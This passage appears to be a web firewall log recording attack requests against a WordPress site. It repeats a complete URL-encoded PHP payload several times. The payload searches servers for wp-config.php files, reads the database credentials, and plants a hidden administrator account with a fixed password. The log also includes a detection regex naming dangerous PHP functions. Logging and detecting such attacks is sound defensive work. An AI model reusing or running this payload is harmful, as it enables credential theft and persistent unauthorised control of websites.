_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-18 23:35:59","213.209.159.254","POST","\/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> wz:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/themes\/astra\/inc\/builder\/controllers\/class-astra-builder-ui-controller.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\ncookie:4=17267dbb927e97128879218d3d0962ca; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvq3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz11oUEcVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\ncontent-length:12640\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-fetch-mode:navigate\nsec-fetch-site:none\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-dest:document\n\nwz=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%